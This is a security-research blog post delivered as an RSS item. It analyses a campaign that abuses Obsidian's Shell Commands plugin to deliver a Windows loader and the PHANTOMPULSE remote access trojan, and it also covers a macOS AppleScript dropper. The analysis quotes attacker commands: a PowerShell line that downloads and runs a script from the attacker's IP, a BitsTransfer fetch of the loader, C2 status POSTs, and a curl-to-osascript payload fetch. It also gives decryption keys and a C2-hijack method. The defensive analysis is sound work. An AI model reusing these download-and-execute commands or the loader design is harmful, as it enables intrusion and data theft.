<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Malware Analysis</title>
        <link>https://www.elastic.co/fr/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Mon, 13 Apr 2026 18:54:47 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Malware Analysis</title>
            <url>https://www.elastic.co/fr/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/fr/security-labs</link>
        </image>
        <copyright>© 2026. elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT]]></title>
            <link>https://www.elastic.co/fr/security-labs/phantom-in-the-vault</link>
            <guid>phantom-in-the-vault</guid>
            <pubDate>Tue, 14 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs uncovers a novel social engineering campaign that abuses the popular note-taking application, Obsidian's legitimate community plugin ecosystem. The campaign, which we track as REF6598, targets individuals in the financial and cryptocurrency sectors through elaborate social engineering on LinkedIn and Telegram.]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>A follow-up publication will provide a deeper technical analysis of PHANTOMPULSE itself, covering its injection engines, persistence internals, and C2 protocol in greater detail.</p>
</blockquote>
<h2>Preamble</h2>
<p>Elastic Security Labs has identified a novel social engineering campaign that abuses the popular note-taking application, <a href="https://obsidian.md/">Obsidian</a>, as an initial access vector. The campaign, which we track as REF6598, targets individuals in the financial and cryptocurrency sectors through elaborate social engineering on LinkedIn and Telegram. The threat actors abuse Obsidian's legitimate community plugin ecosystem, specifically the <a href="https://github.com/Taitava/obsidian-shellcommands">Shell Commands</a> and <a href="https://github.com/kepano/obsidian-hider">Hider</a> plugins, to silently execute code when a victim opens a shared cloud vault.</p>
<p>In the observed intrusion, Elastic Defend detected and blocked the attack at the early stage, preventing the threat actors from achieving their objectives on the victim's machine.</p>
<p>The attack chain is cross-platform, with dedicated execution paths for both Windows and macOS. On Windows, an intermediate loader decrypts and reflectively loads payloads entirely in memory using AES-256-CBC, timer queue callback execution, and multiple anti-analysis techniques. The chain culminates in the deployment of a previously undocumented RAT we are naming <strong>PHANTOMPULSE</strong>, a heavily AI-generated, full-featured backdoor with blockchain-based C2 resolution, advanced process injection via module stomping. On macOS, the attack deploys an obfuscated AppleScript dropper with a Telegram-based fallback C2 resolution mechanism.</p>
<p>This post will detail the full attack chain, from social engineering through final payload analysis, and provide detection guidance and indicators of compromise.</p>
<h2>Key takeaways</h2>
<ul>
<li>PHANTOMPULSE is a novel, AI-assisted Windows RAT featuring blockchain-based C2 resolution via Ethereum transaction data and distinct injection techniques</li>
<li>We identified a weakness in the C2 mechanism that allows for a takeover of the implants by responders</li>
<li>Obsidian was abused for initial access social engineering attack</li>
<li>Cross-platform attack chain targeting both Windows and macOS</li>
<li>The macOS payload uses a multi-stage AppleScript dropper with a Telegram dead-drop for fallback C2 resolution</li>
<li>PHANTOMPULL is a custom in-memory loader that delivers PHANTOMPULSE</li>
</ul>
<h2>Campaign overview</h2>
<p>The threat actors operate under the guise of a venture capital firm, initiating contact with targets through LinkedIn. After initial engagement, the conversation moves to a Telegram group where multiple purported partners participate, lending credibility to the interaction. The discussion centers around financial services, specifically cryptocurrency liquidity solutions, creating a plausible business context.</p>
<p>The target is asked to use <a href="https://obsidian.md/">Obsidian</a>, presented as the firm's &quot;management database&quot;, for accessing a shared dashboard. The target is provided credentials to connect to a cloud-hosted vault controlled by the attacker.</p>
<p>This vault is the initial access vector. Once opened in Obsidian, the target is instructed to enable community plugins sync. After that, the trojanized plugins silently execute the attack chain.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image16.png" alt="Execution chain diagram" title="Execution chain diagram" /></p>
<h2>Initial access</h2>
<p>An Elastic Defend behavior alert triggered on suspicious PowerShell execution with Obsidian as the parent process. This immediately caught our attention. Initially, we suspected an untrusted binary masquerading as Obsidian. However, after inspecting the parent process code signature and hash, it appeared to be the legitimate Obsidian binary.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image38.png" alt="Process visualization with Elastic XDR" title="Process visualization with Elastic XDR" /></p>
<p>Pivoting on the process event call stack to determine whether a third-party DLL sideload or unbacked memory region was involved, we confirmed that the process creation originated directly from Obsidian itself.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image30.png" alt="Elastic alert document showcasing the call stack" title="Elastic alert document showcasing the call stack" /></p>
<p>We then investigated the surrounding files for signs of JavaScript injection via modification of dependency files or malicious .asar file planting. Everything appeared to be a clean, legitimate Obsidian installation with no third-party code. At that point, we decided to install Obsidian ourselves and explore what options an attacker could abuse to achieve command execution.</p>
<p>The first thing that stood out was the ability to log in to an Obsidian-synced vault with an email and password.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image14.png" alt="Obsidian menu to open a remote vault" title="Obsidian menu to open a remote vault" /></p>
<p>Obsidian's vault sync feature allows notes and files to be synchronized across devices and platforms. While reviewing the files of the malicious remote vault under the .obsidian config folder, we found evidence that the Shell Commands community plugin had been installed:</p>
<pre><code class="language-plaintext">C:\Users\user\Documents\&lt;redacted_vault_name&gt;\.obsidian\plugins\obsidian-shellcommands\data.json
</code></pre>
<p>The <a href="https://publish.obsidian.md/shellcommands/Index">Shell Commands plugin</a> allows users to execute platform-specific shell commands based on configurable triggers such as Obsidian startup, close, every N seconds, and others.</p>
<p>The contents of data.json confirmed our theory: the configured commands matched exactly what we had observed in the original PowerShell behavior alert.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image36.png" alt="Data.json content of the shell plugin" title="Data.json content of the shell plugin" /></p>
<p>To validate the full attack chain, we attempted to replicate the behavior end-to-end across two machines, a host and a VM using a paid Obsidian Sync license. On the host, we installed the Shell Commands community plugin with a custom command configured to spawn <code>notepad.exe</code> on startup. On the VM, we logged in to the same Obsidian account and connected to the remote vault.</p>
<p>The synced vault on the VM received the base configuration files (<code>app.json</code>, <code>appearance.json</code>, <code>core-plugins.json</code>, <code>workspace.json</code>), but notably the <code>plugins/</code> directory and <code>community-plugins.json</code> were absent entirely. This is because Obsidian's Sync settings expose two separate toggles &quot;Active community plugin list&quot; and &quot;Installed community plugins&quot; both of which are disabled by default and are local client-side preferences that do not propagate through sync.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image37.png" alt="Obsidian settings" title="Obsidian settings" /></p>
<p>As shown below, the plugins and community_plugins manifest are not synced automatically (any file inside the .obsidian directory).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image2.png" alt=".obsidian folder content" title=".obsidian folder content" /></p>
<p>However, once enabled, the Shell Commands plugin immediately triggers execution of attacker-defined commands on vault open:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image20.png" alt="Process tree" title="Process tree" /></p>
<p>This means an attacker cannot remotely force the installation or enablement of a community plugin via vault sync alone. The victim must manually enable the community plugin sync on their device before the weaponized plugin configuration pulls down and triggers execution.</p>
<p>In the case we investigated, the attacker provided Obsidian account credentials directly to the victim as part of a social engineering lure, likely instructing them to log in, enable community plugin sync, and connect to the pre-staged vault. Once those steps were completed, the Shell Commands plugin and its data.json configuration synced automatically, and on the next configured trigger, the payload executed without any further interaction.</p>
<p>While this attack requires social engineering to cross the community plugin sync boundary, the technique remains notable: it abuses a legitimate application feature as a persistence and command execution channel, the payload lives entirely within JSON configuration files that are unlikely to trigger traditional AV signatures, and execution is handed off by a signed, trusted Electron application, making parent-process-based detection the critical layer.</p>
<p>Alongside the Shell Commands plugin, the author used <a href="https://github.com/kepano/obsidian-hider">Hider</a> (v1.6.1), a UI-cleanup plugin that hides interface elements. With every concealment option enabled, the following is the configuration:</p>
<pre><code class="language-yaml">{
  &quot;hideStatus&quot;: true,
  &quot;hideTabs&quot;: true,
  &quot;hideScroll&quot;: true,
  &quot;hideSidebarButtons&quot;: true,
  &quot;hideTooltips&quot;: true,
  &quot;hideFileNavButtons&quot;: true,
}
</code></pre>
<h3>Windows execution chain</h3>
<h4>Stage 1</h4>
<p>The Shell Commands plugin's Windows command contained two <code>Invoke-Expression</code> calls with Base64-encoded strings that decode to the following:</p>
<pre><code class="language-Powershell">iwr http://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File &quot;env:TEMP\tt.ps1&quot;
</code></pre>
<p>This will download a second-stage PowerShell script from a hardcoded IP address and execute it.</p>
<h4>Stage 2</h4>
<p>The downloaded PowerShell script (<code>script1.ps1</code>) implements a loader-delivery mechanism with a built-in operator-notification system. The script uses <code>BitsTransfer</code> to download the next-stage binary and reports its progress to the C2.</p>
<pre><code class="language-Powershell">Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://195.3.222[.]251/syncobs.exe?q=%23OBSIDIAN' `
  -Destination &quot;$env:TEMP\syncobs.exe&quot;
</code></pre>
<p>After the download, the script verifies the file's existence and reports the outcome to the C2 at <code>195.3.222[.]251/stuk-phase</code>. It appears that the prepended characters (<code>G</code>, <code>R</code>) to the Status Message, declaring <code>G</code>REEN or <code>R</code>ED as a status color code. The following is a table of all the status messages:</p>
<table>
<thead>
<tr>
<th align="center">Status Message</th>
<th align="center">Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center"><code>GFILE FOUND ON PC</code></td>
<td align="center">Binary downloaded successfully</td>
</tr>
<tr>
<td align="center"><code>RDOWNLOAD ERROR</code></td>
<td align="center">Download failed, retrying</td>
</tr>
<tr>
<td align="center"><code>RFATAL DOWNLOAD ERROR</code></td>
<td align="center">Download failed after retry</td>
</tr>
<tr>
<td align="center"><code>GLAUNCH SUCCESS</code></td>
<td align="center">Binary executed and child processes detected</td>
</tr>
<tr>
<td align="center"><code>RLAUNCH FAILED</code></td>
<td align="center">Binary failed to start within the timeout</td>
</tr>
<tr>
<td align="center"><code>GSESSION CLOSED</code></td>
<td align="center">Execution sequence completed</td>
</tr>
</tbody>
</table>
<p>The <code>tag</code> parameter (<code>Obsidian</code>) sent with each status update identifies the campaign or infection vector, suggesting the operators might be running multiple concurrent campaigns.</p>
<pre><code class="language-c">if ($started) {
    Invoke-RestMethod -Uri &quot;http://195.3.222[.]251/stuk-phase&quot; -Method Post -Body @{ message = &quot;GLAUNCH SUCCESS&quot;; tag = $tag }
} else {
    Invoke-RestMethod -Uri &quot;http://195.3.222[.]251/stuk-phase&quot; -Method Post -Body @{ message = &quot;RLAUNCH FAILED&quot;; tag = $tag }
}
Start-Sleep -Seconds 3

Invoke-RestMethod -Uri &quot;http://195.3.222[.]251/stuk-phase&quot; -Method Post -Body @{ message = &quot;GSESSION CLOSED&quot;; tag = $tag }
</code></pre>
<h4>Loader - PHANTOMPULL</h4>
<p>This loader is a 64-bit Windows PE executable that extracts an AES-256-CBC-encrypted PE payload from its own resources, decrypts it, and reflectively loads it into memory. This in-memory payload then downloads the next stage from the domain (<code>panel.fefea22134[.]net</code>) over HTTPS.</p>
<p>The third-stage payload (PHANTOMPULSE) is then decrypted and loaded reflectively via <code>DllRegisterServer</code>. This loader, which we are calling PHANTOMPULL, includes runtime API resolution and timer-queue-based execution. This sample includes minor forms of evasion/obfuscation, along with dead code; these techniques are used as an anti-analysis trick to waste the analyst's time investigating the malware.</p>
<h3>Execution Flow</h3>
<h4>Stage 1</h4>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image25.png" alt="Execution flow via Stage 1" title="Execution flow via Stage 1" /></p>
<h4>Stage 2</h4>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image29.png" alt="Execution flow via Stage 2" title="Execution flow via Stage 2" /></p>
<h3>Fake Integrity Check</h3>
<p>The loader begins with a strange start using a dead-code guard that compares <code>GetTickCount()</code> against the hex value (<code>0xFFFFFFFE</code>) — a value that corresponds to approximately 49.7 days of continuous system uptime, making the condition virtually unreachable. The guarded block contains convincing but unreachable anti-tamper functions designed to waste analysts' time during reverse engineering.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image23.png" alt="Fake Integrity check" title="Fake Integrity check" /></p>
<p>The  <code>anti_tamper_integrity_checksum()</code> function is also pretty strange; it doesn’t actually hash any of the underlying bytes, but sums all the function addresses in the binary. The checksum is never compared to anything; this is likely an intended anti-analysis technique to waste analyst time and bloat the binary.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image1.png" alt="Integrity check summing up the function addresses" title="Integrity check summing up the function addresses" /></p>
<h3>API Hashing</h3>
<p>This loader resolves API functions dynamically at runtime using the <code>djb2</code> hashing algorithm with seed <code>0x4E67C6A7</code>. The following APIs were resolved:</p>
<ul>
<li><code>VirtualAlloc</code></li>
<li><code>VirtualProtect</code></li>
<li><code>VirtualFree</code></li>
<li><code>LoadLibraryA</code></li>
<li><code>GetProcessAddress</code></li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image40.png" alt="Resolving API addresses" title="Resolving API addresses" /></p>
<h3>Resource Extraction + Decryption</h3>
<p>PHANTOMPULL stores its encrypted in-memory payload inside its own resources.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image42.png" alt="RCDATA 101 via Resource Hacker" title="RCDATA 101 via Resource Hacker" /></p>
<p>In order to extract the bytes, it uses <code>FindResourceA,</code> locating the resource type (<code>RT_RCDATA</code>) under ID (<code>101</code>). The resource is mapped into memory and copied into a region marked with <code>PAGE_READWRITE</code> permissions.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image33.png" alt="Resource Extraction" title="Resource Extraction" /></p>
<p>Next, the loader performs AES-256-CBC decryption using <code>BCryptOpenAlgorithmProvider</code>. The key is hardcoded in the <code>.rdata</code> section</p>
<p><strong>Key:</strong>  <code>6a85736b64761a8b2aaeadc1c0087e1897d16cc5a9d49c6a6ea1164233bad206</code></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image27.png" alt="Embedded AES-256-CBC key" title="Embedded AES-256-CBC key" /></p>
<p>The IV is also hard-coded on the stack: <code>A6FA4ADFC20E8E6B77E2DD631DC8FF18</code><br />
<img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image7.png" alt="Bcrypt Crypto Details" title="Bcrypt Crypto Details" /></p>
<p>After decryption, the loader validates the output is a valid PE by checking the MZ header magic value with a comparison instruction using a hard-coded value (<code>0x0C1DF</code>) that gets XOR’d with (<code>0x9B92</code>), equaling the PE magic header (0x5a4d). This is an example of some of the lightweight obfuscation efforts that often seem awkward and don't fit in.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image4.png" alt="Magic Header XOR calculation" title="Magic Header XOR calculation" /></p>
<h3>Execution</h3>
<p>Rather than calling the payload directly (which is easily detected by sandboxes), the loader uses a timer queue callback. The 50ms delay and separate-thread execution can evade various security/sandbox tooling.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image9.png" alt="CreateTimerQueue functionality" title="CreateTimerQueue functionality" /></p>
<p>Inside the callback is the reflective PE-loading functionality, which is then used to execute the next stage.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image11.png" alt="Timer callback calling reflective PE loader" title="Timer callback calling reflective PE loader" /></p>
<p>This reflective loading function is the core execution component. It copies the PE headers, maps each section into memory, applies base relocations, resolves imports, and sets the final section protections — producing a fully functional, memory-resident PE that never touches disk.</p>
<p>Execution is then transferred to the second stage via an indirect <code>call rbp</code> instruction, where RBP holds the computed entry point address of the reflectively loaded PE.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image26.png" alt="Indirect call to second stage" title="Indirect call to second stage" /></p>
<h3>Second Stage</h3>
<p>The second stage is responsible for downloading the remotely hosted payload (PHANTOMPULSE) and for using a similar reflective-loading technique to launch the implant. This stage starts by creating a mutex from an XOR operation with two hard-coded global variables.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image6.png" alt="Mutex generation via XOR" title="Mutex generation via XOR" /></p>
<p>The mutex name for this sample is: <code>hVNBUORXNiFLhYYh</code></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image28.png" alt="Observed Mutex" title="Observed Mutex" /></p>
<p>After the mutex is created, this code enters a persistent loop that attempts to download the payload from the C2 server. If the download successfully returns a valid buffer, it breaks out and proceeds to the reflective loading stage.</p>
<p>On failure, the code employs an exponential backoff — starting with a 5-second sleep and multiplying by 1.5x on each retry, capping just under 5 minutes. This avoids a fixed beacon interval that would be trivially fingerprinted in network traffic.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image22.png" alt="Download and timeout functionality" title="Download and timeout functionality" /></p>
<p>The downloader functionality starts by decrypting the C2 and URL.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image35.png" alt="C2 and URL decryption functions" title="C2 and URL decryption functions" /></p>
<p>The C2 and URL are both decrypted using a simple string decryption function using a 16-byte rotating key (<code>f77c8e40dfc17be5e74d8679d5b35341</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image5.png" alt="XOR String decryption function" title="XOR String decryption function" /></p>
<p>Next, the malware builds the HTTPS request, appending the string using the URI <code>/v1/updates/check?build=payloads</code> and setting the User Agent (<code>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36</code>). This loader uses the WinHTTP library to connect to the C2 on port <code>443</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image34.png" alt="WinHTTP functionality used to download PHANTOMPULSE" title="WinHTTP functionality used to download PHANTOMPULSE" /></p>
<p>The malware takes the buffer from the remote C2 URL and decrypts the payload with a 16-byte XOR key (<code>dcf5a9b27cbeedb769ccc8635d204af9</code>)</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image19.png" alt="Payload Decryption via XOR" title="Payload Decryption via XOR" /></p>
<p>Below are the first bytes of the XOR-encoded payload:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image24.png" alt="Payload bytes before the XOR" title="Payload bytes before the XOR" /></p>
<p>Below are the first bytes after the XOR takes place:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image3.png" alt="Payload bytes after the XOR" title="Payload bytes after the XOR" /></p>
<p>After the download and XOR operations, PHANTOMPULL parses the payload and reflects the DLL using <code>DLLRegisterServer</code>.</p>
<p>By quickly checking the strings, we can see the main backdoor, PHANTOMPULSE:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image18.png" alt="PHANTONPULSE Implant strings" title="PHANTONPULSE Implant strings" /></p>
<h3>RAT - PHANTOMPULSE</h3>
<p>PHANTOMPULSE is a sophisticated 64-bit Windows RAT designed for stealth, resilience, and comprehensive remote access. The binary exhibits strong indicators of AI-assisted development: Debug strings throughout the code are abnormally verbose, self-documenting, and follow a structured step-numbering pattern (<code>[STEP 1]</code>, <code>[STEP 1/3]</code>, <code>[STEP 2/3]</code>)</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image13.png" alt="PHANTOMPULSE implant or strings view" title="PHANTOMPULSE implant or strings view" /></p>
<p>During our research, we discovered that the C2 infrastructure had a publicly exposed panel branded as <code>“Phantom Panel&quot;</code>, featuring a login page with username, password, and captcha fields. The panel's design and structure suggest it was also AI-generated, consistent with the development patterns observed in the RAT itself.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image15.png" alt="Malware panel" title="Malware panel" /></p>
<h4>C2 rotation through blockchain</h4>
<p>PHANTOMPULSE implements a decentralized C2 resolution mechanism using public blockchain infrastructure as a dead drop. The malware's primary method for obtaining its C2 URL is by resolving it from on-chain transaction data. A hardcoded C2 URL serves as a fallback if the blockchain resolution fails after repeated attempts.</p>
<p>The malware queries the Etherscan-compatible API (<code>/api?module=account&amp;action=txlist&amp;address=&lt;wallet&gt;&amp;page=1&amp;offset=1&amp;sort=desc</code>) on three Blockscout instances:</p>
<ul>
<li><code>eth.blockscout[.]com</code> (Ethereum L1)</li>
<li><code>base.blockscout[.]com</code> (Base L2)</li>
<li><code>optimism.blockscout[.]com</code> (Optimism L2)</li>
</ul>
<p>Each request fetches the most recent transaction associated with a hardcoded wallet address (<code>0xc117688c530b660e15085bF3A2B664117d8672aA</code>), which is itself XOR-encrypted in the binary. The malware parses the transaction's <code>input</code> data field from the JSON response, strips the <code>0x</code> prefix, hex-decodes the raw bytes, and XOR-decrypts the result using the wallet address as the XOR key. If the decrypted output begins with <code>http</code>, it is accepted as the new active C2 URL.</p>
<p>This technique provides the operator with an infrastructure-agnostic rotation capability: publishing a new C2 endpoint requires only submitting a transaction with crafted calldata to the wallet on any of the three monitored chains. Because blockchain transactions are immutable and publicly accessible, the malware can always locate its C2 without relying on centralized infrastructure. The use of three independent chains adds redundancy: even if one chain's explorer is blocked or unavailable, the remaining two provide alternative resolution paths.</p>
<p>However, this design introduces a significant weakness. The Blockscout API returns all transactions involving the wallet address, both sent and received, sorted in reverse chronological order. The malware does not verify the sender of the transaction. This means any third party who knows the wallet address and the XOR key (both recoverable from the binary) can craft a transaction to the wallet containing a competing input payload. Because the malware always selects the most recent transaction, a single inbound transaction with a more recent timestamp would override the operator's intended C2 URL. In practice, this allows anyone to hijack the C2 resolution by submitting a sinkhole URL encoded with the same XOR scheme, effectively redirecting all infected hosts away from the attacker infrastructure.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image21.png" alt="Wallet transaction example" title="Wallet transaction example" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image41.png" alt="Xor decrypting the raw input" title="Xor decrypting the raw input" /></p>
<h4>C2 communication</h4>
<p>PHANTOMPULSE uses WinHTTP for C2 communication, dynamically loading <code>winhttp.dll</code> and resolving all required functions at runtime. The C2 infrastructure is built around five API endpoints:</p>
<table>
<thead>
<tr>
<th>Endpoint</th>
<th>Method</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/v1/telemetry/report</code></td>
<td>POST</td>
<td>Heartbeat with system telemetry</td>
</tr>
<tr>
<td><code>/v1/telemetry/tasks/&lt;id&gt;</code></td>
<td>GET</td>
<td>Command fetch</td>
</tr>
<tr>
<td><code>/v1/telemetry/upload/</code></td>
<td>POST</td>
<td>Screenshot/file upload</td>
</tr>
<tr>
<td><code>/v1/telemetry/result</code></td>
<td>POST</td>
<td>Command result delivery</td>
</tr>
<tr>
<td><code>/v1/telemetry/keylog/</code></td>
<td>POST</td>
<td>Keylog data upload</td>
</tr>
</tbody>
</table>
<p>The heartbeat sends comprehensive system telemetry as JSON, including CPU model, GPU, RAM, OS version, username, privilege level, public IP, installed AV products, installed applications, and the results of the last command execution.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image31.png" alt="System information collection" title="System information collection" /></p>
<h4>Command table</h4>
<p>The command dispatcher parses JSON responses from the C2 to extract and hash commands via the <code>djb2</code> algorithm. This hash is processed by a switch-case statement to execute the corresponding logic, as seen in the pseudocode below:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image32.png" alt="Pseudocode command dispatcher" title="Pseudocode command dispatcher" /></p>
<table>
<thead>
<tr>
<th>Hash</th>
<th>Command</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>0x04CF1142</code></td>
<td><code>inject</code></td>
<td>Inject shellcode/DLL/EXE into target process</td>
</tr>
<tr>
<td><code>0x7C95D91A</code></td>
<td><code>drop</code></td>
<td>Drop the file to the disk and execute</td>
</tr>
<tr>
<td><code>0x9A37F083</code></td>
<td><code>screenshot</code></td>
<td>Capture and upload a screenshot</td>
</tr>
<tr>
<td><code>0x08DEDEF0</code></td>
<td><code>keylog</code></td>
<td>Start/stop keylogger</td>
</tr>
<tr>
<td><code>0x4EE251FF</code></td>
<td><code>uninstall</code></td>
<td>Full persistence removal and cleanup</td>
</tr>
<tr>
<td><code>0x65CCC50B</code></td>
<td><code>elevate</code></td>
<td>Escalate to SYSTEM via COM elevation moniker</td>
</tr>
<tr>
<td><code>0xB3B5B880</code></td>
<td><code>downgrade</code></td>
<td>SYSTEM -&gt; elevated admin transition</td>
</tr>
<tr>
<td><code>0x20CE3BC8</code></td>
<td><code>&lt;unresolved&gt;</code></td>
<td>Resolves APIs, calls ExitProcess(0) self-termination</td>
</tr>
</tbody>
</table>
<h3>MacOS execution chain</h3>
<h4>Stage 1: AppleScript via osascript</h4>
<p>The Shell commands plugin's macOS command executes a Base64-encoded payload through <code>osascript</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image10.png" alt="MacOS stage 1 payload" title="MacOS stage 1 payload" /></p>
<p>The decoded payload performs two primary actions:</p>
<p><strong>LaunchAgent persistence</strong>: Creates a persistent LaunchAgent plist at <code>~/Library/LaunchAgents/com.vfrfeufhtjpwgray.plist</code> configured with <code>KeepAlive</code> and <code>RunAtLoad</code> set to <code>true</code>, ensuring the second-stage payload executes on every login and restarts if terminated.</p>
<p><strong>Second-stage execution</strong>: The LaunchAgent executes a heavily obfuscated AppleScript dropper through <code>/bin/bash -c</code> piped into <code>osascript</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image12.png" alt="MacOS stage 1 payload decoded" title="MacOS stage 1 payload decoded" /></p>
<h4>Stage 2: Obfuscated AppleScript dropper</h4>
<p>The second-stage payload is an obfuscated AppleScript dropper that employs multiple evasion techniques.</p>
<p><strong>String obfuscation</strong>: All sensitive strings (domains, URLs, user-agent values) are constructed at runtime using <code>ASCII character</code>, <code>character id</code>, and <code>string id</code> calls, preventing static string extraction:</p>
<pre><code>property __tOlA5QTO5I : {(string id {48, 120, 54, 54, 54, 46, 105, 110, 102, 111})}
-- Decodes to: &quot;0x666.info&quot;
</code></pre>
<p><strong>Decoy variables</strong>: Numerous unused variables with random names and values are defined to increase entropy and hinder analysis.</p>
<p><strong>Fragmented concatenation</strong>: Strings are split across mixed encoding methods, combining literal fragments with character-ID lookups to defeat pattern matching.</p>
<h4>C2 resolution with Telegram fallback</h4>
<p>The dropper implements a layered C2 resolution strategy:</p>
<ol>
<li><strong>Primary</strong>: Iterates over a hardcoded domain list (including <code>0x666[.]info</code>), sending a POST request with body <code>&quot;check&quot;</code> to validate C2 availability</li>
<li><strong>Fallback</strong>: If the primary domain is unreachable, scrapes a public Telegram channel (<code>t[.]me/ax03bot</code>) to extract a backup domain<br />
<img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image8.png" alt="Backup Domain" title="Backup Domain" /></li>
</ol>
<p>This Telegram dead-drop technique allows operators to rotate C2 infrastructure, making domain-based blocking insufficient as a sole mitigation.</p>
<h4>Payload retrieval</h4>
<p>Once a C2 is resolved, the script downloads and pipes a second-stage payload directly into <code>osascript</code>:</p>
<pre><code>curl -s --connect-timeout 5 --max-time 10 --retry 3 --retry-delay 2 -X POST &lt;C2_URL&gt; \
  -H &quot;User-Agent: &lt;spoofed Chrome UA&gt;&quot;-d &quot;txid=346272f0582541ae5dd08429bb4dc4ff&amp;bmodule&quot;| osascript
</code></pre>
<p>The victim identifier (<code>txid</code>) and module selector (<code>bmodule</code>) are sent as POST parameters. The response is expected to be another AppleScript payload executed immediately. At the time of analysis, the C2 servers for the macOS chain were offline, preventing the collection of subsequent stages.</p>
<h3>Infrastructure analysis</h3>
<h4>Wallet activity</h4>
<p>Examining the on-chain activity for the hardcoded wallet (<code>0xc117688c530b660e15085bF3A2B664117d8672aA</code>) reveals the operator's C2 rotation history. The two most recent transactions are self-transfers (wallet to itself), each encoding a different C2 URL in the transaction input data:</p>
<table>
<thead>
<tr>
<th>Date (UTC)</th>
<th>Decoded C2 URL</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Feb 19, 2026 12:29:47</code></td>
<td><code>https://panel.fefea22134[.]net</code></td>
</tr>
<tr>
<td><code>Feb 12, 2026 22:01:59</code></td>
<td><code>https://thoroughly-publisher-troy-clara[.]trycloudflare[.]com</code></td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/phantom-in-the-vault/image17.png" alt="Transaction history" title="Transaction history" /></p>
<p>The use of a Cloudflare Tunnel domain (<code>trycloudflare[.]com</code>) as a prior C2 endpoint is notable, as it allows the operator to expose a local server through Cloudflare's infrastructure without registering a domain, providing an additional layer of anonymity.</p>
<p>The wallet was initially funded on Feb 12, 2026, at 21:39:47 UTC by a separate account (<code>0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E</code>) with a transfer of $5.84 and an empty input field (<code>0x</code>), confirming this was purely a funding transaction. The funding wallet itself has conducted approximately 50 transactions over the past three months, which provides a potential pivot point for uncovering additional campaigns operated by the same threat actor.</p>
